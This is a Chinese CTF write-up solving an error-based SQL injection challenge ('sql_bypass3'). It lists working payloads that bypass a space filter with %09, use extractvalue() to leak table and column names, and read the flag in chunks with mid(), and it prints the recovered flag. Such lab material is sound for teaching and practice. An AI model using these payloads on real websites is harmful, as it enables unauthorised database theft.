CTF-SQL注入-报错注入和注入绕过---sql_bypass3
一、目标
通过SQL报错注入漏洞,利用Hackbar工具分段获取数据库中隐藏的flag。
二、测试环境
· 目标地址:http://188.76.235.121:33751
· 注入点:?id=1
· 过滤情况:空格被过滤,使用%09(Tab字符)绕过
· 使用工具:Hackbar浏览器插件
· 数据库类型:MySQL

三、判断注入点
在Hackbar中输入以下Payload测试:
?id=1'%09or%09'1'='1
页面返回正常,确认存在注入漏洞,且空格被过滤。后续所有空格均替换为%09。

四、获取表名
在Hackbar中执行:
?id=1'%09or%09extractvalue(1,concat('~',(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database())))or'1'='1
报错信息中返回表名:t6d58ccb7f

五、获取字段名
在Hackbar中执行:
?id=1'%09or%09extractvalue(1,concat('~',(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='t6d58ccb7f')))or'1'='1
报错信息中返回字段名:c3a2f46d27

六、获取flag前半段
由于报错注入每次最多输出约32个字符,需要分段读取。先读取前半段:
在Hackbar中执行:
?id=1'%09or%09extractvalue(1,concat('~',(select%09mid(c3a2f46d27,1,32)%09from%09t6d58ccb7f)))or'1'='1
报错信息返回flag前半段内容。

七、获取flag后半段
在Hackbar中执行:
?id=1'%09or%09extractvalue(1,concat('~',(select%09mid(c3a2f46d27,28,32)%09from%09t6d58ccb7f)))or'1'='1
报错信息返回flag后半段内容。(起始位置28与前半段重叠,确保内容连续)

八、拼接完整flag
将前后两段内容拼接,得到完整flag。
flag{59cdccb9-af2b-44ef-985a-f41e52c5cb31}
九、关键技术点总结
· 报错注入函数:使用extractvalue()函数触发XPATH语法错误,将查询结果带出
· 空格绕过:空格被过滤时,使用%09(Tab水平制表符)代替空格
· 长度限制绕过:使用mid(字段, 起始位置, 长度)函数分段读取超长字符串
· 信息收集路径:先查表名,再查字段名,最后查字段内容
· Hackbar使用:在Load URL中修改参数,点击Execute执行,从报错信息中提取数据
更多推荐
所有评论(0)